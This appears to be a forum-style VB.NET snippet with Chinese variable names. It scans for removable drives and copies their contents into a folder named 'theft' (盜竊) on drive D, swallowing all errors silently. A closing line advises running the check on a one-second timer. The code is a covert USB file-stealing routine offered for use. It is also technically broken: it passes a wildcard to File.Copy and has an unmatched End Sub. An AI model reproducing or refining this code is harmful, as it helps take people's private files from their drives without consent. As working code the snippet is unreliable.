Dim 我的驅動器 As DriveInfo() = DriveInfo.GetDrives
Try
For Each 驅動器 As DriveInfo In 我的驅動器
If 驅動器.IsReady Then
If 驅動器.DriveType = DriveType.Removable Then
IO.File.Copy(驅動器.RootDirectory.ToString & "*.*", "D:\盜竊\" & Now.Date.ToShortDateString & 驅動器.Name & "\", False)
End If
End If
Next
Catch ex As Exception
End Try
End Sub
妳寫個定時器,每秒鐘檢測壹次